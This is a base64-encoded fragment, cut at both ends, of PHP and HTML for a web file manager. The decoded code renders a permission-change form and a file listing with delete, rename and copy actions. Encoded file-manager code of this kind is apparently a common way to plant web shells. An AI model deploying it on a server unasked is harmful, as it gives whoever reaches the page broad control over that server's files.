X3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0